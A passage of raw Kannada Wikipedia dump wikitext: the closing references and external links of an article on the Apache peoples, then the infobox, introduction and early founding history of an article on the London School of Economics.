(1983). "ನವಾಜೋ ಸೋಶಿಯಲ್ ಆರ್ಗನೈಜೇಶನ್", ಎ. ಒರ್ಟಿಜ್ (ಆವೃತ್ತಿ)ಯಲ್ಲಿ., ''ಹ್ಯಾಂಡ್್ಬುಕ್ ಆಫ್ ನಾರ್ಥ್ ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ಸ್: ಸೌಥ್್ವೆಸ್ಟ್.'' (ಸಂಪುಟ. 10, ಪುಟಗಳು.&nbsp;524–535). ವಾಷ್ಟಿಂಗ್ಟನ್, ಡಿ.ಸಿ.: ಸ್ಮಿಥ್್ಸೋನಿಯನ್ ಇನ್ಸ್್ಟಿಟ್ಯೂಶನ್. * ವೋರ್ಸೆಸ್ಟರ್, ಡೊನಾಲ್ಡ್ ಇ. (1992). ''ದಿ ಅಪಾಚೆ ಈಗಲ್ಸ್ ಆಫ್ ದಿ ಸೌಥ್್ವೆಸ್ಟ್, ಒಕ್ಲಹಾಮಾ ಯುನಿವರ್ಸಿಟಿ ಮುದ್ರಣಾಲಯ '' ''ISBN 0-8065-2201-1'' == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Commons category|Apaches}} {{Wikisource|Myths and Tales from the San Carlos Apache}} * [http://www.fortsillapache.com Fortsillapache.com ], ವೆಬ್ಸೈಟ್ ಫೋರ್ಟ್ ಸಿಲ್ ಅಪಾಚೆ ಟ್ರೈಬಲ್ ಚೇರ್ಮನ್ ಜೆಫ್ ಹೌಸೆರ್ ನ ವೆಬ್್ಸೈಟ್ * [http://www.genealogynation.com/kiowa/ Genealogynation.com], ಕಿಯೋವಾ ಕೊಮಾಂಚೆ ಅಪಾಚೆ ಇಂಡಿಯನ್ ಟೆರಿಟರ್ ಪ್ರಾಜೆಕ್ಟ್ * [http://projects.ltc.arizona.edu/gates/course.html Projects.ltc.arizona.edu] {{Webarchive|url=https://web.archive.org/web/20051219085155/http://projects.ltc.arizona.edu/gates/course.html |date=2005-12-19 }}, ಅಮೆರಿಕನ್ ಇಂಡಿಯನ್ ಲ್ಯಾಂಗ್ವೇಜ್ ಡೆವಲಪ್್ಮೆಂಟ್ ಇನ್್ಸ್ಟಿಟ್ಯೂ ಟ್ (ಇಲ್ಲಿ ಮಕ್ಕಳ ವಿಡಿಯೋ ಕಾಕ್ಟಸ್ ಬಾಯ್ ಸ್ಟೋರಿ ಇನ್ ವೆಸ್ಟರ್ನ್ ಅಪಾಚೆ ಇದೆ.) * [http://apachetimes.com/ ApacheTimes.com], (ಸಾನ್ ಕಾರ್ಲೋಸ್) * [http://www.itcaonline.com/tribes_tonto.html ITCAonline.com] {{Webarchive|url=https://web.archive.org/web/20041210013654/http://www.itcaonline.com/tribes_tonto.html |date=2004-12-10 }}, ಟೋಂಟೋ ಅಪಾಚೆ ಟ್ರೈಬ್ (ಅರಿಝೋನಾ ಇಂಟರ್ ಟ್ರೈಬಲ್ ಕೌನ್ಸಿಲ್) * [http://www.itcaonline.com/tribes_campverd.html ITCAonline.com] {{Webarchive|url=https://web.archive.org/web/20030819172738/http://www.itcaonline.com/tribes_campverd.html |date=2003-08-19 }} ಯವಾಪೈ-ಅಪಾಚೆ ನೇಶನ್ (ಅರಿಝೋನಾ ಇಂಟರ್ ಟ್ರೈಬಲ್ ಕೌನ್ಸಿಲ್) * [http://www.yavapai-apache.org/history.htm Yavapai-apache.org] {{Webarchive|url=https://web.archive.org/web/20080513190503/http://www.yavapai-apache.org/history.htm |date=2008-05-13 }}, ಸ್ಟೋರಿ ಆಫ್ ದಿ ಯವಾಪೈ-ಅಪಾಚೆ ಎಕ್ಷೋಡಸ್ ಡೇ * [http://www.itcaonline.com/tribes_whitemtn.html ITCAonline.com] {{Webarchive|url=https://web.archive.org/web/20110927131821/http://www.itcaonline.com/tribes_whitemtn.html |date=2011-09-27 }}, ವೈಟ್ ಮೌಂಟೇನ್ ಅಪಾಚೆ ಟ್ರೈಬ್ (ಅರಿಝೋನಾ ಇಂಟರ್ ಟ್ರೈಬಲ್ ಕೌನ್ಸಿಲ್) * [http://www.itcaonline.com/tribes_sancarl.html ITCAonline.com] {{Webarchive|url=https://web.archive.org/web/20041210012103/http://www.itcaonline.com/tribes_sancarl.html |date=2004-12-10 }}, ಸಾನ್ ಕಾರ್ಲೋಸ್ ಅಪಾಚೆ ಟ್ರೈಬ್ (ಅರಿಝೋನಾ ಇಂಟರ್ ಟ್ರೈಬಲ್ ಕೌನ್ಸಿಲ್ * [http://www.yavapai-apache.org/ Yavapai-apache.org], ಅಧಿಕೃತ ಯವಾಪೈ-ಅಪಾಚೆ ನ್ಯಾಶನಲ್ ವೆಬ್್ಸೈಟ್ * [http://jqjacobs.net/southwest/apache.html JQjacobs.net], ಮೂರು ಅಪಾಚೆ ಬುಡಕಟ್ಟುಗಳ ಪೋಸ್ಟ್ ಕಾಂಟಾಕ್ಟ್ ಸೋಸಿಯಲ್ ಆರ್ಗನೈಜೇಶನ್ * [https://web.archive.org/web/20091028051522/http://www.geocities.com/~zybt/apache.htm about GeoCities.com], ಸಾನ್ ಕಾರ್ಲೋಸ್ ಅಪಾಚೆ, (, ಕಡತಗೊಳಿಸಿದ್ದು 2009-10-25) * [https://web.archive.org/web/20091021121628/http://geocities.com/coqrico/apachewren1.html GeoCities.com], ವೈಟ್ ಮೌಂಟೇನ್ ಅಪಾಚೆ ಫೋಟೋಗಳು (, ಕಡತಗೊಳಿಸಿದ್ದು 2009-10-25) *, ವೈಟ್ ಮೌಂಟೇನ್ ಅಪಾಚೆಗಳು ಮತ್ತು ಫೋರ್ಟ್ ಅಪಾಚೆ ಮೀಸಲು ಸ್ಥಳದ ಮೇಲಿನ ಫೋಟೋಗಳು, ಘಟನೆಗಳು, ಅಭಿಪ್ರಾಯಗಳು * [https://web.archive.org/web/20010405044733/http://www.geocities.com/coqrico/apachedance.html GeoCities.com], ವೈಟ್ ಮೌಂಟೇನ್ ಅಪಾಚೆಗಳಲ್ಲಿ ಋತುಮತಿಯಾದಾಗಿನ ಸಮಾರಂಭ (ಮಾಹಿತಿ ಮತ್ತು ಫೋಟೋ) (, ಕಡತಗೊಳಿಸಿದ್ದು 2009-10-25) *, ಅಪಾಚೆಗಳನ್ನು ಮೂಲೋತ್ಪಾಟನ ಮಾಡುವ ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಯೋಜನೆ (, ಕಡತಗೊಳಿಸಿದ್ದು 2009-10-25) * [http://www.epcc.edu/nwlibrary/borderlands/18_apache.htm EPCC.edu] {{Webarchive|url=https://web.archive.org/web/20061007202003/http://www.epcc.edu/nwlibrary/borderlands/18_apache.htm |date=2006-10-07 }}, ಅಪಾಚೆ ಇಂಡಿಯನ್ನರು ನೈಋತ್ಯದಲ್ಲಿ ಮಾತೃಭೂಮಿಯ ಮೇಲೆ ಅವಲಂಬಿತರಾಗಿದ್ದಾರೆ. * [http://www.houstonculture.org/mexico/sonora.html HoustonCulture.org] {{Webarchive|url=https://web.archive.org/web/20160221195022/http://www.houstonculture.org/mexico/sonora.html |date=2016-02-21 }}, ಸೋನೋರಾ: ನಾಲ್ಕು ಶತಮಾನಗಳ ಸ್ಥಳೀಯ ಪ್ರತಿರೋಧ * [http://www.language-museum.com/a/apache.php Language-Museum.com],ಅಪಾಚೆ ಭಾಷೆಯ ಮಾದರಿ * Koransky.com, ಕೆವಿನ್ ರೀವೆ ಅವರಿಂದ ಗ್ರಂಥವಿವರಣ ಪಟ್ಟಿ * [http://southwest.library.arizona.edu/hav7/body.1_div.1.html Library.arizona.edu], ಇಂಡಿಯನ್ಸ್ ಆಫ್ ಅರಿಝೋನಾ (ಅರಿಝೋನಾ ಇತಿಹಾಸದಿಂದ) * [http://southwest.library.arizona.edu/hav7/body.1_div.2.html Library.arizona.edu], ದಿ ಅಪಾಚೆ (ಅರಿಝೋನಾ ಇತಿಹಾಸದಿಂದ) * [http://www.freewebs.com/apache-texts/ Freewebs.com], ಅಪಾಚೆ ಪುರಾಣಗಳು ಮತ್ತು ಪಾಠಗಳು * [http://www.freewebs.com/apache-texts//Goodwin/GoodwinPref.html Freewebs.com] {{Webarchive|url=https://web.archive.org/web/20081208124229/http://www.freewebs.com/apache-texts/Goodwin/GoodwinPref.html |date=2008-12-08 }}, ''ಮಿಥ್ಸ್ ಆ್ಯಂಡ್ ಟೇಲ್ಸ್ ಆಫ್ ದಿ ವೈಟ್ ಮೌಂಟೇನ್ ಅಪಾಚೆ'' ಗೆ ಗ್ರೀನ್್ವಿಲ್ಲೆ ಗುಡ್ವಿನ್ನನ ಮುನ್ನುಡಿ. * {{Handbook of Texas|id=bma33|name= Apache Indians}} * [http://www.etymonline.com/index.php?term= EtymOnline.com] {{Webarchive|url=https://web.archive.org/web/20120423223445/http://www.etymonline.com/index.php?term= |date=2012-04-23 }}, ಅಪಾಚೆ ಆನ್ ಲೈನ್ ವ್ಯುತ್ಪತ್ತಿ ಶಾಸ್ತ್ರ ನಿಘಂಟು * [http://www.indians.org/welker/apache.htm Indians.org], ಇಂಡೆ (ಅಪಾಚೆ) ಸಾಹಿತ್ಯ * [http://digital.library.okstate.edu/encyclopedia/entries/A/AP003.html Library.okstate.edu], ಓಕ್ಲಹಾಮಾ ಇತಿಹಾಸ ಮತ್ತು ಸಂಸ್ಕೃತಿಯ ವಿಶ್ವಕೋಶ- ಅಪಾಚೆ, ಫೋರ್ಟ್ ಸಿಲ್ * [http://digital.library.okstate.edu/encyclopedia/entries/A/AP001.html Library.okstate.edu] {{Webarchive|url=https://web.archive.org/web/20100217230952/http://digital.library.okstate.edu/encyclopedia/entries/A/AP001.html |date=2010-02-17 }}, ಓಕ್ಲಹಾಮಾ ಇತಿಹಾಸ ಮತ್ತು ಸಂಸ್ಕೃತಿಯ ವಿಶ್ವಕೋಶ- ಅಪಾಚೆ [[ವರ್ಗ:ಅಪಾಚೆ ಬುಡಕಟ್ಟಿನವರು]] [[ವರ್ಗ:ಅರಿಝೋನಾದಲ್ಲಿಯ ಮೂಲನಿವಾಸಿ ಅಮೆರಿಕದ ಬುಡಕಟ್ಟಿನವರು]] [[ವರ್ಗ:ನ್ಯೂ ಮೆಕ್ಸಿಕೋದಲ್ಲಿಯ ಮೂಲನಿವಾಸಿ ಅಮೆರಿಕದ ಬುಡಕಟ್ಟಿನವರು]] 2dnudeyxycu7lqx0jw9bcbl2mpuuter ಲಂಡನ್ ಸ್ಕೂಲ್ ಆಫ್ ಎಕನಾಮಿಕ್ಸ್ 0 25331 1116429 1079213 2022-08-23T12:25:32Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox university |name = London School of Economics and Political Science |image= London school of economics logo with name.svg |motto = {{lang-la|Rerum cognoscere causas}} |mottoeng = "To Understand the Causes of Things" |established = 1895 |endowment = £57.4m<ref>{{Cite web |url=http://www.lse.ac.uk/collections/financeDivision/pdf/2008AnnualAccounts.pdf |title=ಆರ್ಕೈವ್ ನಕಲು |access-date=2010-10-08 |archive-date=2009-07-04 |archive-url=https://web.archive.org/web/20090704150010/http://www.lse.ac.uk/collections/financeDivision/pdf/2008AnnualAccounts.pdf |url-status=dead }}</ref> |chancellor = [[HRH]] [[Anne, Princess Royal|The Princess Royal]] ([[University of London]]) |director = [[Howard Davies (LSE)|Sir Howard Davies]]<ref>{{cite web |url=http://www.lse.ac.uk/collections/meetthedirector/aboutHowardDavies.htm |title=Meet the Director (LSE website) |access-date=2010-10-08 |archive-date=2013-06-26 |archive-url=https://www.webcitation.org/6HfXXW3xq?url=http://www.lse.ac.uk/aboutLSE/meetTheDirector/home.aspx |url-status=dead }}</ref> |head_label = [[Visitor]] |head = <small>The Rt Hon</small> [[Nick Clegg]]<br /><small>As [[Lord President of the Council]]</small> ''[[ex officio]]'' |faculty = 1,303 |students = 8,810<ref name="HESA">{{cite web|url=http://www.hesa.ac.uk/holisdocs/pubinfo/student/institution0506.htm |title=Table 0a - All students by institution, mode of study, level of study, gender and domicile 2005/06 |work=[[Higher Education Statistics Agency]] online statistics |accessdate=2007-03-31 |archiveurl = https://web.archive.org/web/20070515172721/http://www.hesa.ac.uk/holisdocs/pubinfo/student/institution0506.htm |archivedate = May 15, 2007}}</ref> |undergrad = 3,860<ref name="HESA" /> |postgrad = 4,950<ref name="HESA" /> |city = [[London]] |country = [[England]], UK |campus = [[Urban area|Urban]] |coor = {{Coord|51|30|50.40|N|0|07|0.12|W|display=title|type:edu}} |colours = [[Purple]], [[Black]] and [[Gold (color)|Gold]]<ref>From LSE Shop Directory- school colours [http://www.shop.edirectory.co.uk/lseshop/919/default/d/ties+scarves/mt/c/rid/13089] {{Webarchive|url=https://web.archive.org/web/20090131203208/http://www.shop.edirectory.co.uk/lseshop/919/default/d/ties+scarves/mt/c/rid/13089 |date=2009-01-31 }}:</ref> |free_label = Newspaper |free = ''[[The Beaver]]'' |mascot = [[Beaver]] |affiliations = [[University of London]]<br /> [[Russell Group]]<br /> [[European University Association|EUA]]<br /> [[Association of Commonwealth Universities|ACU]]<br /> [[Community of European Management Schools and International Companies|CEMS]]<br /> [[The Association of Professional Schools of International Affairs|APSIA]]<br /> [[Raising the Impact of the Social Sciences and Economics|RISE]]<ref>http://www.tilburguniversity.nl/university/internationalization/rise/ RISE</ref><br />[[Golden Triangle (UK universities)|'Golden Triangle']]<br /> [[Universities UK]] |website = [http://www.lse.ac.uk/ www.lse.ac.uk] |logo = [[File:LSE-LogoWithName.png|200px]] }} ಸಾಮಾನ್ಯವಾಗಿ '''ಲಂಡನ್ ಸ್ಕೂಲ್ ಆಫ್ ಎಕನಾಮಿಕ್ಸ್''' ಅಥವಾ ಸರಳವಾಗಿ '''ಎಲ್‌ಎಸ್ಇ''' ಎಂದು ಉಲ್ಲೇಖಿಸಲಾಗುವ '''ಲಂಡನ್ ಸ್ಕೂಲ್ ಆಫ್ ಎಕನಾಮಿಕ್ಸ್ ಎಂಡ್ ಪೊಲಿಟಿಕಲ್ ಸೈನ್ಸ್''' ಎನ್ನುವುದು ಇಂಗ್ಲೆಂಡ್ನ [[ಲಂಡನ್]]ನಲ್ಲಿರುವ ಲಂಡನ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಅನುಭವಿ ಘಟಕ ಕಾಲೇಜು ಆಗಿದೆ. 1895 ರಲ್ಲಿ ಫ್ಯಾಬಿಯನ್ ಸೊಸೈಟಿ ಸದಸ್ಯರಾದ ಸಿಡ್ನಿ ವೆಬ್, ಬೀಟ್ರಿಸ್ ವೆಬ್ ಮತ್ತು [[ಜಾರ್ಜ್ ಬರ್ನಾರ್ಡ್ ಷಾ|ಜಾರ್ಜ್ ಬರ್ನಾರ್ಡ್ ಶಾ]] ಅವರಿಂದ ಸ್ಥಾಪಿತವಾದ,<ref>{{cite web |url=http://www.lse.ac.uk/informationAbout/aboutLSE/Default.htm |title=About LSE - LSE Website |accessdate=2008-01-13 |archive-date=2009-02-28 |archive-url=https://web.archive.org/web/20090228233905/http://www.lse.ac.uk/informationAbout/aboutLSE/Default.htm |url-status=dead }}</ref> ಶಾಲೆಯು ಅರ್ಥಶಾಸ್ತ್ರದ ಶಾಖೆಯಾಗಿ 1900 ರಲ್ಲಿ ಫೆಡರಲ್ ಯೂನಿವರ್ಸಿಟಿ ಆಫ್ ಲಂಡನ್‌ಗೆ ಸೇರ್ಪಡೆ ಹೊಂದಿತು. ೧೯೦೨ ರ ನಂತರದಿಂದ ಶಾಲೆಯ ವಿದ್ಯಾರ್ಥಿಗಳಿಗೆ ಪದವಿಯನ್ನು ನೀಡಲಾಯಿತು. ಇಂದು, ೮,೭೦೦ ವಿದ್ಯಾರ್ಥಿಗಳೊಡನೆ ಅದು ವಿಶ್ವವಿದ್ಯಾನಿಲಯ ಘಟಕ ಕಾಲೇಜು ಆಗಿ ಉಳಿದಿದೆ.<ref>{{cite web |url=http://www.jobs.ac.uk/enhanced/employer/london-school-of-economics-and-political-science/ |title=About LSE- Students and staff |publisher=Jobs.ac.uk |date= |accessdate=2010-04-26 |archive-date=2011-04-05 |archive-url=https://web.archive.org/web/20110405051843/http://www.jobs.ac.uk/enhanced/employer/london-school-of-economics-and-political-science/ |url-status=dead }}</ref> ಬ್ರಿಟನ್‌ನಲ್ಲಿನ ಅತೀ ಕಡಿಮೆ ಪ್ರವೇಶದ ವಿಶ್ವವಿದ್ಯಾನಿಲಯವಾಗಿ ಎಲ್‌ಎಸ್‌ಇಯು ವಿಶ್ವದ ಅತೀ ಹೆಚ್ಚು ಆಯ್ಕೆಯ ವಿಶ್ವವಿದ್ಯಾನಿಲಯವಾಗಿದೆ,<ref name="ReferenceC">{{cite web |url=http://www2.lse.ac.uk/undergraduateProspectus2010/courses/Economics/L140.aspx |title=Undergraduate - Undergraduate - Study - Home |publisher=.lse.ac.uk |date= |accessdate=2010-04-26 |archive-date=2009-04-03 |archive-url=https://web.archive.org/web/20090403062702/http://www2.lse.ac.uk/undergraduateProspectus2010/courses/Economics/L140.aspx |url-status=dead }}</ref><ref name="autogenerated3">{{cite web |url=http://www2.lse.ac.uk/undergraduateProspectus2010/courses/International_Relations/L250.aspx |title=Undergraduate - Undergraduate - Study - Home |publisher=.lse.ac.uk |date= |accessdate=2010-04-26 |archive-date=2009-04-29 |archive-url=https://web.archive.org/web/20090429101741/http://www2.lse.ac.uk/undergraduateProspectus2010/courses/International_Relations/L250.aspx |url-status=dead }}</ref>. ಇದು ವಿಶ್ವದ ಅತೀ ಹೆಚ್ಚು ಅಂತರಾಷ್ಟ್ರೀಯ ವಿದ್ಯಾರ್ಥಿ ಸಮೂಹವನ್ನೂ ಸಹ ಹೊಂದಿದೆ,<ref name="london_156">{{cite news |url=http://www.timesonline.co.uk/tol/life_and_style/education/sunday_times_university_guide/article2496158.ece |title=The Sunday Times Good University Guide 2007 - Profile for London School of Economics|publisher=Times Online|accessdate=2008-06-06 | date=2007-09-23}}</ref> ಮತ್ತು ಒಂದು ಸಮಯದಲ್ಲಿ, ಎನ್ಎಸ್ಇಯು [[ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರ ಸಂಸ್ಥೆ|ವಿಶ್ವ ಸಂಸ್ಥೆ]]ಯನ್ನು ಪ್ರತಿನಿಧಿಸುವ ರಾಷ್ಟ್ರಗಳಿಗಿಂತ ಹೆಚ್ಚು ರಾಷ್ಟ್ರಗಳ ವಿದ್ಯಾರ್ಥಿಗಳನ್ನು ಹೊಂದಿತ್ತು.<ref name="ReferenceA">{{cite web|url=http://www.lse.ac.uk/informationAbout/aboutLSE/introductionToTheSchool.htm |title=About LSE - About LSE - Home |publisher=Lse.ac.uk |date=2009-11-30 |accessdate=2010-04-26}}</ref> ರಸೆಲ್ ಸಮೂಹದ<ref>{{cite web|url=http://www.russellgroup.ac.uk |title=The Russell Group Home Page |accessdate=2008-01-13}}</ref> ದ ಸದಸ್ಯವಾಗಿ, ಎಲ್‌ಎಸ್‌ಇಯು 2008 ರ ಸಂಶೋಧನೆ ಮೌಲ್ಯಮಾಪನ ಸಮಾರಂಭದಲ್ಲಿ ಇತರ ಯಾವುದೇ ವಿಶ್ವವಿದ್ಯಾನಿಲಯಗಳಿಗಿಂತ ಹೆಚ್ಚು ಶೇಕಡಾ ವಿಶ್ವದ-ಪ್ರಮುಖ ಸಂಶೋಧನೆಯನ್ನು ಹೊಂದಿದ್ದನ್ನು ಕಂಡುಕೊಳ್ಳಲಾಗಿದೆ.<ref>{{cite web|url=http://www.rae.ac.uk/results/outstore/RAEOutcomeFull.pdf |title=2008 Research Assessment Exercise |format=PDF |date= |accessdate=2010-04-26}}</ref> ಶಾಲೆಯು ನೋಬೆಲ್ ವಿಜೇತರುಗಳು, ಬ್ರಿಟಿಷ್ ಅಕಾಡೆಮಿಯ ಫೆಲೋಗಳು, ಪುಲಿಟ್ಚರ್ ಪ್ರಶಸ್ತಿ ವಿಜೇತರುಗಳು, ಮತ್ತು ರಾಷ್ಟ್ರಗಳ ಮುಖಂಡರುಗಳನ್ನು ಒಳಗೊಂಡು ಅರ್ಥಶಾಸ್ತ್ರ, ವ್ಯವಹಾರ, ಸಾಹಿತ್ಯ ಮತ್ತು ರಾಜಕೀಯದ ಕ್ಷೇತ್ರಗಳಲ್ಲಿ ಹಲವು ಗಮನಾರ್ಹವಾದ ಹಳೇ ವಿದ್ಯಾರ್ಥಿಗಳನ್ನು ನೀಡಿದೆ. == ಇತಿಹಾಸ == {{Main|History of the London School of Economics}} ಲಂಡನ್ ಸ್ಕೂಲ್ ಆಫ್ ಎಕನಾಮಿಕ್ಸ್ ಅನ್ನು 1895 ರಲ್ಲಿ ಬೀಟ್ರಿಸ್ ಮತ್ತು ಸಿಡ್ನಿ ವೆಬ್ ಅವರು ಸ್ಥಾಪಿಸಿದರು,<ref name="LSEHistoryWebbs">{{cite web|title = Beatrice and Sidney Webb|url = http://www.lse.ac.uk/resources/LSEHistory/webbs.htm|publisher = London School of Economics|year = 2000|accessdate = 2009-07-23|archive-date = 2009-07-25|archive-url = https://web.archive.org/web/20090725034410/http://www.lse.ac.uk/resources/LSEHistory/webbs.htm|url-status = dead}}</ref> ಹಾಗೂ ಪ್ರಥಮವಾಗಿ ಹೆನ್ರಿ ಹಂಟ್ ಹಚಿಸನ್ ಅವರ ಎಸ್ಟೇಟ್ನಿಂದ £20,000 <ref name="SpartacusLSE">{{cite web|title = London School of Economics|url = http://www.lse.ac.uk/informationAbout/LSEHistory/|access-date = 2010-10-08|archive-date = 2010-09-10|archive-url = https://web.archive.org/web/20100910074957/http://www.lse.ac.uk/informationAbout/LSEHistory/|url-status = dead}}</ref><ref name="Statisticians">{{Cite book|author = C. C. Heyde|coauthors = Eugene Seneta|title = Statisticians of the Centuries|url = http://books.google.co.uk/books?id=uS3dq_grwr0C&pg=PA279&lpg=PA279&dq=Hutchinson+bequest+LSE&source=bl&ots=EMhs53HTsd&sig=XmYDecx1ZF8YosvXZwFjizqkb9o&hl=en&ei=KC5qSvnMEeHTjAeXpeWiCw&sa=X&oi=book_result&ct=result&resnum=8|work = Statisticians of the Centuries|publisher = Springer|year = 2001|page = 279|accessdate = 2009-07-23}}</ref> ಗಳ ಉಯಿಲಿನ ಮೂಲಕ ಬಂಡವಾಳ ಹೂಡಲಾಯಿತು. ವಕೀಲರು ಮತ್ತು ಫ್ಯಾಬಿಯನ್ ಸೊಸೈಟಿಯ,<ref name="SmithLSEandEducation">{{cite web|author = Mark K. Smith|title = The London School of Economics and informal education|url = http://www.infed.org/walking/wa-lse.htm|date = 2000-08-30|accessdate = 2009-07-23|archive-date = 2009-10-15|archive-url = https://web.archive.org/web/20091015065721/http://www.infed.org/walking/wa-lse.htm|url-status = dead}}</ref><ref name="LSEPassfieldArchives">{{cite web|title = London School of Economics and Political Science Archives catalogue|url = http://archives.lse.ac.uk/dserve.exe?dsqServer=lib-4.lse.ac.uk&dsqIni=Dserve.ini&dsqApp=Archive&dsqCmd=show.tcl&dsqDb=Catalog&dsqPos=0&dsqSearch=(RefNo=%27passfield%27)|publisher = London School of Economics|year = 2008|accessdate = 2009-07-23|archive-date = 2007-06-11|archive-url = https://web.archive.org/web/20070611143150/http://archives.lse.ac.uk/dserve.exe?dsqServer=lib-4.lse.ac.uk&dsqIni=Dserve.ini&dsqApp=Archive&dsqCmd=show.tcl&dsqDb=Catalog&dsqSearch=(RefNo='passfield')&dsqPos=0|url-status = dead}}</ref> ಸದಸ್ಯರಾದ ಹಚಿಸನ್ ಅವರು "ಅವರು [ಟ್ರಸ್ಟಿಗಳು] ಯೋಗ್ಯವೆಂದು ಭಾವಿಸುವ ಯಾವುದೇ ವಿಧದಲ್ಲಿ ಅದರ [ಫ್ಯಾಬಿಯನ್ ಸೊಸೈಟಿಯ] ಉದ್ದೇಶಗಳನ್ನು ಅಭಿವೃದ್ಧಿಗೊಳಿಸಲು" ಉಪಯೋಗಿಸಿಕೊಳ್ಳಲು ಹಣವನ್ನು ಬಿಟ್ಟರು.<ref name="LSEPassfieldArchives" /> ಐದು ಟ್ರಸ್ಟಿಗಳು ಸಿಡ್ನಿ ವೆಬ್, ಎಡ್ವರ್ಡ್ ಪೀಸ್, ಕೋನ್‌ಸ್ಟಾನ್ಸ್ ಹಚಿಸನ್, ವಿಲಿಯಮ್ ಡಿ ಮ್ಯಾಟ್ಟೋಸ್ ಮತ್ತು ವಿಲಿಯಂ ಕ್ಲಾಕ್ ಆಗಿದ್ದರು.<ref name="SpartacusLSE" /> 1894 ರ ಆಗಸ್ಟ್ 4 ರ ಬೆಳಗ್ಗೆ ವೆಬ್ಸ್, ಗ್ರಹಾಂ ವಲ್ಲಾಸ್ ಮತ್ತು [[ಜಾರ್ಜ್ ಬರ್ನಾರ್ಡ್ ಷಾ|ಜಾರ್ಜ್ ಬರ್ನಾರ್ಡ್ ಶಾ]] ಅವರ ನಡುವೆ ನಡೆದ ಉಪಹಾರದ ಸಭೆಯಲ್ಲಿ ಶಾಲೆಯನ್ನು ಸ್ಥಾಪಿಸುವ ಪ್ರಸ್ತಾಪವು ರೂಪುಗೊಂಡಿತು ಎಂದು ಎನ್‌ಎಸ್‌ಇಯು ದಾಖಲಿಸಿದೆ.<ref name="LSEHistoryAbout" /> 1895 ರ ಫೆಬ್ರವರಿಯಲ್ಲಿ ಪ್ರಸ್ತಾಪಕ್ಕೆ ಟ್ರಸ್ಟಿಗಳು ಒಪ್ಪಿಗೆ ಸೂಚಿಸಿದರು<ref name="LSEPassfieldArchives" /> ಮತ್ತು ಸಿಟಿ ಆಫ್ ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್ ನ ಅಡೆಲ್ಫಿಯಲ್ಲಿಯ 9 ಜಾನ್ ಸ್ಟ್ರೀಟ್‌ನಲ್ಲಿನ ಕೊಠಡಿಗಳಲ್ಲಿ ಎನ್‌ಎಸ್‌ಇಯು ತನ್ನ ಮೊದಲ ತರಗತಿಗಳನ್ನು ನಡೆಸಿತು. ಶಾಲೆಯು 1900 ರಲ್ಲಿ ಫೆಡರಲ್ ಯೂನಿವರ್ಸಿಟಿ ಆಫ್ ಲಂಡನ್ಗೆ ಸೇರ್ಪಡೆಯಾಗಿ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಅರ್ಥಶಾಸ್ತ್ರದ ಶಾಖೆಯಾಯಿತು ಮತ್ತು 1902 ರಿಂದ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಪದವಿಗಳನ್ನು ಪ್ರದಾನ ಮಾಡಲು ಪ್ರಾರಂಭಿಸಿತು.<ref name="LSEHistory1895" /> ಮುಂದಿನ ವರ್ಷಗಳಲ್ಲಿ ವೇಗವಾಗಿ ವಿಸ್ತರಿಸುತ್ತಾ, ಶಾಲೆಯು ಮೊದಲು ಹತ್ತಿರದ ೧೦ ಅಡೆಲ್ಫಿ ಟೆರ್ರೇಸ್‌ಗೆ, ನಂತರ ಕ್ಲೇರ್ ಮಾರ್ಕೆಟ್ ಮತ್ತು ಹೌಟನ್ ಸ್ಟ್ರೀಟ್‌ಗೆ ಬದಲಾಯಿಸಲ್ಪಟ್ಟಿತು. ಹೌಟನ್ ಸ್ಟ್ರೀಟ್‌ನಲ್ಲಿರುವ ಹಳೆಯ ಕಟ್ಟಡಕ್ಕೆ ಶಂಕುಸ್ಥಾಪನೆಯನ್ನು 1920 ರಲ್ಲಿ ಕಿಂಗ್ ಜಾರ್ಜ್ V ರವರು ನೆರವೇರಿಸಿದರು;<ref name="LSEHistoryAbout" /> ಕಟ್ಟಡವನ್ನು 1922 ರಲ್ಲಿ ತೆರೆಯಲಾಯಿತು. [[File:Friedrich Hayek portrait.jpg|thumb|right|200px|ಫ್ರೆಡ್ರಿಕ್ ಹೇಕ್, ಅರ್ಥಶಾಸ್ತ್ರಕ್ಕಾಗಿ ನೊಬೆಲ್ ಪ್ರಶಸ್ತಿ ವಿಜೇತ]] ಎಲ್‌ಎಸ್ಇ ಮತ್ತು [[ಕೇಂಬ್ರಿಡ್ಜ್‌‌‌‌‌‌‌‌‌‌‌ ವಿಶ್ವವಿದ್ಯಾನಿಲಯ|ಕೇಂಬ್ರಿಡ್ಜ್]] ನಡುವಿನ ೧೯೩೦ ರ ಆರ್ಥಿಕ ಚರ್ಚೆಯು ಶೈಕ್ಷಣಿಕ ಕ್ಷೇತ್ರದಲ್ಲಿ ಹೆಸರುವಾಸಿಯಾಗಿದೆ. ಎಲ್‌ಎಸ್‌ಇ ಮತ್ತು ಕೇಂಬ್ರಿಡ್ಜ್‌ನಲ್ಲಿನ ಶೈಕ್ಷಣಿಕ ಅಭಿಪ್ರಾಯದಲ್ಲಿನ ಪೈಪೋಟಿಯು ಎಲ್ಎಸ್‌ಇಯ ಅರ್ಥಶಾಸ್ತ್ರದ ಪ್ರೊಫೆಸರ್ ಆದ ಎಡ್ವಿನ್ ಕ್ಯಾನನ್ (1861–1935) ಮತ್ತು ಕೇಂಬ್ರಿಡ್ಜ್‌ನ ರಾಜಕೀಯ ಅರ್ಥನೀತಿಯ ಪ್ರೊಫೆಸರ್ ಮತ್ತು ಆ ಸಮಯದ ಪ್ರಮುಖ ಅರ್ಥಶಾಸ್ತ್ರಜ್ಞರಾದ ಆದ ಆಲ್ಫ್ರೆಡ್ ಮಾರ್ಷಲ್ (1842–1924) ಅವರುಗಳು ಅರ್ಥಶಾಸ್ತ್ರದ ಮೂಲತತ್ವದ ವಿಷಯಗಳ ಬಗ್ಗೆ ಮತ್ತು ವಿಷಯವನ್ನು ಒಟ್ಟಾರೆಯಾಗಿ ಸುಸಂಘಟಿತವಾಗಿ ಪರಿಗಣಿಸಬೇಕೇ ಎಂಬುದರ ಕುರಿತಂತೆ ವಾದ ಮಾಡಿದುದರ ಮೂಲಕ 